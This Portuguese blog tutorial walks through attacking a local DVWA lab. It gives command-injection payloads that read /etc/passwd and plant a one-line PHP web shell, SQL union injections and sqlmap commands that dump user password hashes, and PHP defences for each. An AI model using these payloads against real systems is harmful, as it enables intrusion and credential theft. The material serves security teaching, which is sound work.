Exploit de websites

Paulo Brito
11/05/2017
Compartilhar no linkedin
Compartilhar no email
Compartilhar no whatsapp
Compartilhar no facebook
Compartilhar no twitter
Compartilhar no pinterest
Carlos Rodrigues
Especialista de Eng. de Telecomunicações e Segurança Computacional
Fundador e mentor do Projeto Open Source LibertyNET
Para o inicio do estudo usaremos o projeto DVWA (DAMN VULNERABLE WEB APP) que pode ser facilmente encontrado no site HTTP://DVWA.CO.UK ou no repositório geral do Github no endereço HTTPS://GITHUB.COM/ETHICALHACK3R .
Previamente instalamos uma máquina virtual, com uma preparação em ambiente Linux, utilizando uma distribuição para a realização de ataques de penetração e vulnerabilidades KALI LINUX. Este projeto pode ser encontrado no seguinte endereço HTTPS://KALI.COM .

1º PASSO

Os comando utilizados para fazer o download da framework, criar as pastas necessárias e a descompactação são apresentados em baixo.
# cd /var/www/html
# wget https://github.com/ethicalhack3r/DV… && unzip master.zip
# mv DVWA-master /var/www/html/dvwa
# chmod -R 777 dvwa
# cp config/config.inc.php.dist config/config.inc.php
De seguida é necessário abrir o arquico config/config.inc.php que foi renomeado para preservar as alterações a serem realizadas, e observar os campos:
$_DVWA[ ‘db_password’ ] = ‘p@ssw0rd’;
$_DVWA[ ‘default_security_level’ ] = ‘impossible’;
O campo $_DVWA[ ‘db_password’ ] = ‘p@ssw0rd’; deve ficar em branco, sem password, pois por padrão o mysql no Linux vem sem senha para o root.
O campo $_DVWA[ ‘default_security_level’ ] = ‘impossible’; deve ser alterado para low, de forma que os testes se iniciem por um nível de dificuldade baixo.
Depois destes passos inicias de configuração da framework, deve iniciar o mysql e criar a base de dados necessária para o funcionamento da aplicação web, os comandos primários são.
# service mysql start
# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.6.27-2 (Debian)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql>
# mysql > create database dvwa;
Depois de criar a base de dados, pode confirmar a sua existência com o comando:
mysql> show databases;
+——————–+
| Database |
+——————–+
| information_schema |
| dvwa |
| mysql |
| performance_schema |
+——————–+
4 rows in set (0.06 sec)
mysql> use dvwa;
Database changed
mysql> show tables;
Empty set (0.00 sec)
mysql>
Na imagem podemos observar mais detalhamente cada passo, onde se verifica o funcionamento do mysql, e o estado da criação da tabela dvwa.
Por fim devemos iniciar o web server apache na máquina e iniciar o browser com os comandos.
# service apache2 start
Se todos os passos foram realizados com sucesso é possível ver a abertura da seguinte página no browser.
Para entrar basta digitar em
Username: Admin
Password: Password
E vai ser encaminhado para a página de Database Setup, onde precisa de clicar no botão Create / Reset Database para criar as tabelas necessárias à execução dos ataques.
Algumas funções têm que ser ativadas no arquivo php.ini do apache, como exemplo tempos as seguintes:
* `allow_url_include = on` – Allows for Remote File Inclusions (RFI)
* `allow_url_fopen = on` – Allows for Remote File Inclusions (RFI)
* `safe_mode = off` – (If PHP <= v5.4) Allows for SQL Injection (SQLi)
* `magic_quotes_gpc = off` – (If PHP <= v5.4) Allows for SQL Injection (SQLi)
* `display_errors = off` – (Optional) Hides PHP warning messages to make it less verbose
Após clicar no botão para criar as tabelas, podemos observar elas no mysql para se ter a certeza que tudo foi efetuado corretamente, antes de se dar inicio aos testes de laboratórios.
Se a tabela dvwa for apresentada é porque tudo foi criado corretamente, agora basta entrar na página principal em:

2º PASSO

Agora neste segundo passo, vamos analisar algumas vulnerabilidades e observar o código fonte, de forma a entender porque as falhas são executadas com sucesso, todas as vulnerabilidades são consideradas ainda existentes nos sistemas de hoje em dia, pois a programação para desenvolvedores web é virada para o quesito de operação/funcionalidade e não o quesito de segurança dos dados, criando desta forma muitas brechas que são exploradas por usuários mal intencionados que têm o objetico de provocar dano aos alvos mais visados ou ganhar algum tipo de vantagem sobre o sistema expostos.
As vulnerabilidades são:
1. Command Injection
2. SQL Injection
3. CSRF
4. File Upload
1. Command Injection: A injeção de comandos aproveita falhas em sistemas que interagem com sistemas operativos, normalmente via formuários e campos de input de nomes e de busca. A injeção ocorre quando o atacante consegue inserir um ou mais comandos dentro de um campo sem que o mesmo tenha escapado caracteres especiais ou comandos primários do sistema operacional.

Ataque

Com o DVWA na seguraça miníma (Low), podemos observar o código fonte em baixo e ententer que o próprio sumbit executa uma função padrão do bash, que é o shell_exec(), desta forma qualquer comando, desde que escrito corretamente e adicionando por exemplo && ou um pipe | para concatenar vai ser executado sem dificuldade dentro da máquina alvo.
<?php
if( isset( $_POST[ ‘Submit’ ] ) ) {
// Get input
$target = $_REQUEST[ ‘ip’ ];
// Determine OS and execute the ping command.
if( stristr( php_uname( ‘s’ ), ‘Windows NT’ ) ) {
// Windows
$cmd = shell_exec( ‘ping ‘ . $target );
}
else {
// *nix
$cmd = shell_exec( ‘ping -c 4 ‘ . $target );
}
// Feedback for the end user
echo “<pre>{$cmd}</pre>”;
}
?>
Com isto podemos executar o comando:
127.0.0.1 && pwd
Para termos a certeza onde estamos físicamente dentro da raiz / do linux, como se pode observar na figura em baixo, encontramo-nos na pasta /var/www/html/dvwa/vulnerabilities/exec.
Com esta informação em mãos podemos agora navegar por todo o disco do sistema operativo e descobrir ficheiro que contenham informações importante a serem exploradas.
Pode também saber que usuário é neste momento que executa os comandos, ou ver que processos estão rodando como root, de forma a serem explorados.
Comandos:
127.0.0.1 %% uname -a
127.0.0.1 && ps -aux | grep root
127.0.0.1; cat /etc/passwd
127.0.0.1; cat /var/www/html/dvwa/vulnerabilities/exec/index.php
Então a partir destas informações, já se pode iniciar ou finalizar aplicativos/ serviços, como exemplo um anti-virus, sistemas de firewall, logs de erro e captura, entre muitas outras opções de ataque.
Outro exemplo:
Outro exemplo:
Uma abordagem diferente, seria upar uma shell para dentro do servidor, uma vez que podemos executar comandos livremente, para isso é possível executar o comando a seguir para se visualizar que permissões existem para o usuário que interage com o browser.
127.0.0.1 && ls -alh
Agora com esta informação podemos visualizar que temos permissão de ler, escrever e executar, isso pode-se ver porque a pasta atual onde estamos é representada no linux por (.) um ponto.
Para executar este comando é necessário utilizar o burp Suite e enviar um comando básico no browser, como exemplo:
Depois de interceptar os pacotes, clicamos na captura realizada e selecionamos com o lado direito do rato send to repeater, com isto podemos observar a figura em baixo:
Com esta informação, podemos agora simplesmente concatenar comando diretamente no Burp e enviar em formato GET como se fosse o browser a enviar.
Com isso podemos enviar a seguinte string pelo Burp:
ip=127.0.0.1;echo “<?php system(\$_GET[‘c’]); ?>” > shell.php&Submit=Submit
Isto faz com que o arquivo shell.php seja criado e fique acessível pelo browser, sendo que se fosse uma shell real o site já estaria completamente comprometido e uma invasão teria sido bem sucedida, mas no caso o que a shell faz é ler o caracter c, permitindo que se digite comandos na frente e serem interpretados diretamente no brower, como se pode ver a seguir.

ifconfig

Source Code

Caso a leitura fique difícil, pode-se abrir o código fonte da página pois uma formatação com as tags <pre></pre> são pré-definidas.

Defesa

Como defesa pode ser criado um array na linguagem PHP de forma que elas não sejam permitidas de ser introduzidas.
$substitutions = array(
‘&’ => ”,
‘;’ => ”,
‘| ‘ => ”,
‘-‘ => ”,
‘$’ => ”,
‘(‘ => ”,
‘)’ => ”,
‘`’ => ”,
‘||’ => ”,
);
Ou no caso desta medida não ser suficiente, pode-se utilizar a função do PHP explode() para juntar tudo e fazer uma verificação octeto a octeto, para não dar margem de introdução de caracteres maliciosos, no campo submit.
$octet = explode( “.”, $target );
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int’s put the IP back together.
$target = $octet[0] . ‘.’ . $octet[1] . ‘.’ . $octet[2] . ‘.’ . $octet[3];
———————————-//———————–//————————————-
2. SQL Injection: O SQL Injection aproveita falhas em sistemas que interage com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entradas de dados de uma aplicação.

Ataque

Com o DVWA na seguraça miníma (Low), podemos observar o código fonte em baixo e ententer rapidamente que o PHP apenas recebe os campos do formulário, mas não os trata, nenhum tratamento de carateres especiais nem nenhuma função é verificada, apenas se os campos estão vazios, o que torna este campo muito inseguro.
<?php
if( isset( $_REQUEST[ ‘Submit’ ] ) ) {
// Get input
$id = $_REQUEST[ ‘id’ ];
// Check database
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;
$result = mysqli_query($GLOBALS[“___mysqli_ston”], $query ) or die( ‘<pre>’ . ((is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_error($GLOBALS[“___mysqli_ston”]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>’ );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row[“first_name”];
$last = $row[“last_name”];
// Feedback for end user
echo “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”;
}
mysqli_close($GLOBALS[“___mysqli_ston”]);
}
?>
Neste caso falhas introdutórias de SQL podem ser testadas pela introdução de aspas simples ‘ onde se pode observar um erro no browser, caso este esteja vulnerável a este tipo de ataque.
Com isto pode-se executar de seguinda as conhecidas strings de vulnerabilidades SQL injection para se ter acesso a uma determinada área administrativa ou de login, com os comandos:
‘OR’ 1=1
“OR” 1=1
“OR” 1=1 –
‘OR’ 1=1 –
No nosso exemplo como estamos a trabalhar com PHP, o normal é a base de dados ser mySQL, então o primeiro comando com as aspas simples deve apresentar um erro. Entretanto vamos estar a trabalhar com a DVWA low.
Com este simples comando, já trouxemos todos os usuários da base de dados e sabemos o primeiro e último nome cadastrado. Também podemos observar a construção da URL, pois o site está a enviar os dados com GET, caso estivesse a utilizar POST, esta vulnerabilidade seria mais dificil de se saber, pois não fica visível no browser.
Podemos agora trazer o nome da tabela em uso e o nome do usuário, com o comando:
1′ and 1=1 union select database(), user()#
De seguida sabendo que por padrão o Mysql tem uma esquema de tabelas conhecido pelo nome de information_schema é possível retornar todas as tabelas do banco de dados, mesmo não sabendo as colunas a se procurar nem o nome da tabela, com o seguinte comando.
1′ and 1=1 union select null, table_name from information_schema.tables#
Devido à tabela ser bastante grande, omitimos a parte final da apresentação.
Neste momento, basta se procurar por uma tabela que tenha o nome de users, user, usuarios, nomes, Etc.. para se encontrar o pretendido. Por norma estes nomes são padrões, por convenção entre programadores.
Agora, estamos prontos para o comando final, pois já sabemos a nome da tabela e os campos são sempre padrão por convenção, raros são os casos em que mudam.
1′ and 1=1 union select user, password from users#
Podemos observer que os usuários não apresentam as passwords em texto claro, isto deve-se ao fato de que as senhas são armazenadas no banco de dados utilizado uma Hash do tipo MD5 para tornar a sua leitura complicada, porém por se tratar de MD5 esta é facilmente quebrável.
ID: 1′ and 1=1 union select user, password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
Então agora que já sabemos a formação da URL o nome do danco de dados, nome da tabela e os campos, podemos optimizar o processo com o sqlmap que é uma forma rápida e simples de se executar o mesmo que aqui foi apresentado mas manualmente.
Para tal, iniciamos o Burp de novo e capturamos o Request para o servidor de forma a o podermos utilizarmos dentro do sqlmap em forma de ficheiro.
E executamos o comando no sqlmap:
# sqlmap -r get -p id –dbms=mysql -D dvwa -T users –dump
Uma vez que sabemos o Request do tipo GET:
GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit%23 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: security=low; PHPSESSID=ktf4fh5n9aeg7voistrst3an20
Sabemos o parâmetro que se apresenta vulnerável (id), sabemos qual é o tipo da base de dados (mysql), sabemos o nome da base de dados (dvwa) e sabemos o nome da tabela que contem o nome dos usuários e password, basta fazer um dump da informação e obtemos o que já tinhamos obtido anteriormente, mas agora de forma automática.
Table: users
[5 entries]
+———+————————————————–+———+———————————-+———–+————+———————+————–+
|user_id|avatar|user|password|last_name|first_name|last_login|failed_login|
+———+————————————————–+———+———————————-+———–+————+———————+————–+
| 1 | http://127.0.0.1/dvwa/hackable/user… | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin | admin | 2017-05-09 07:16:51 | 0 |
| 2 | http://127.0.0.1/dvwa/hackable/user… | gordonb | e99a18c428cb38d5f260853678922e03 | Brown | Gordon | 2017-05-09 07:16:51 | 0 |
| 3 | http://127.0.0.1/dvwa/hackable/user… | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | Me | Hack | 2017-05-09 07:16:51 | 0 |
| 4 | http://127.0.0.1/dvwa/hackable/user… | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso | Pablo | 2017-05-09 07:16:51 | 0 |
| 5 | http://127.0.0.1/dvwa/hackable/user… | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith | Bob | 2017-05-09 07:16:51 | 0 |
+———+————————————————–+———+———————————-+———–+————+———————+————–+
Embora seja um pouco dificil de ler, podemos também observar que o programa criou um CSV no caminho
Algumas opções do sqlmap são:
–current-db
Mostra o banco de dados atual
Ex: sqlmap -u http://127.0.0.1/dvwa/vulnerabiliti… –current-db
–current-user
Mostra o usuário utilizado do banco de dados atual
Ex: sqlmap -u http://127.0.0.1/dvwa/vulnerabiliti… –current-user
–dbs
Lista os bancos de dados do DBMS
–tables
Mostra as tabelas do banco selecionado
Ex: sqlmap -u http://127.0.0.1/dvwa/vulnerabiliti… -D –tables
–columns
Mostra as colunas da tabela selecionada
Ex: sqlmap -u http://127.0.0.1/dvwa/vulnerabiliti… -D dvwa -T users –columns
–dump
Extrai as informações da colunas selecionada
Ex: sqlmap -u http://127.0.0.1/dvwa/vulnerabiliti… -D dvwa -T users -C ‘user,password’ –dump
–is-dba
Verifica se o current-user é o administrador do banco de dados
–search
Procura na db seletivamente por uma palavra, seja banco, tabela ou coluna
Ex: sqlmap -u http://127.0.0.1/dvwa/vulnerabiliti… –search –C ‘password’

Defesa

Ao nível de defesa do lado do servidor para se evitar que os erros sejam expostos no browser do atacante, quando este provoca um erro deliberadamente, este pode ser mitigado da seguinte forma.
Dentro do diretório /etc/php*/apache2/ temos que editar o arquivo php.ini
* Número da versão do PHP instalado. Ex: php5
O php.ini é responsável pelas configurações iniciais do apache e deve-se desabilitar a amostragem de erros, da seguinte forma:
Display_errors = Off
Depois é só preciso salvar as alterações dentro do arquivo e restaurar o serviço com o comando:
# service apache2 restart
As do banco de dados devem estar protegidas com um tipo de hash mais forte que o MD5, como por exemplo o SHA256 e o banco de dados não deve rodar como root, todos os diretorios onde a página web for apresentada, devem ter as permissões CHMOD e permissões CHGRP definidas de forma que os usuários externos ao sistema só tenham permissão de leitura e nunca de escrita, em alguns casos é necessário a permissão de execução, mas apenas quando esta necessidade se verifica é que deve ser configurada.
A nível do código da página, deve-se manter uma segurança minima na entrada de caracteres com funções como mysqli_real_escape_string() e a isset(), para os campos não serem enviados vazios ou com carateres e strings proveninetes do mysql.
$id = $_POST[ ‘id’ ];
$id = ((isset($GLOBALS[“___mysqli_ston”]) && is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_real_escape_string($GLOBALS[“___mysqli_ston”], $id ) : ((trigger_error(“[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.”, E_USER_ERROR)) ? “” : “”));
Para uma segurança mais forte a verificação do Token do usuário com a sua sessão é essencial, para se saber que o usuário é legítimo.
if( isset( $_GET[ ‘Submit’ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
Uma abordagem orientada a objeto conhecido no PHP como PDO também impossibilita a entra de vulnerabilidades dentro do banco de dados.
$data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;’ );
$data->bindParam( ‘:id’, $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
———————————-//———————–//————————————-

Compartilhar:

Compartilhar no linkedin
Compartilhar no email
Compartilhar no whatsapp
Compartilhar no facebook
Compartilhar no twitter
Compartilhar no pinterest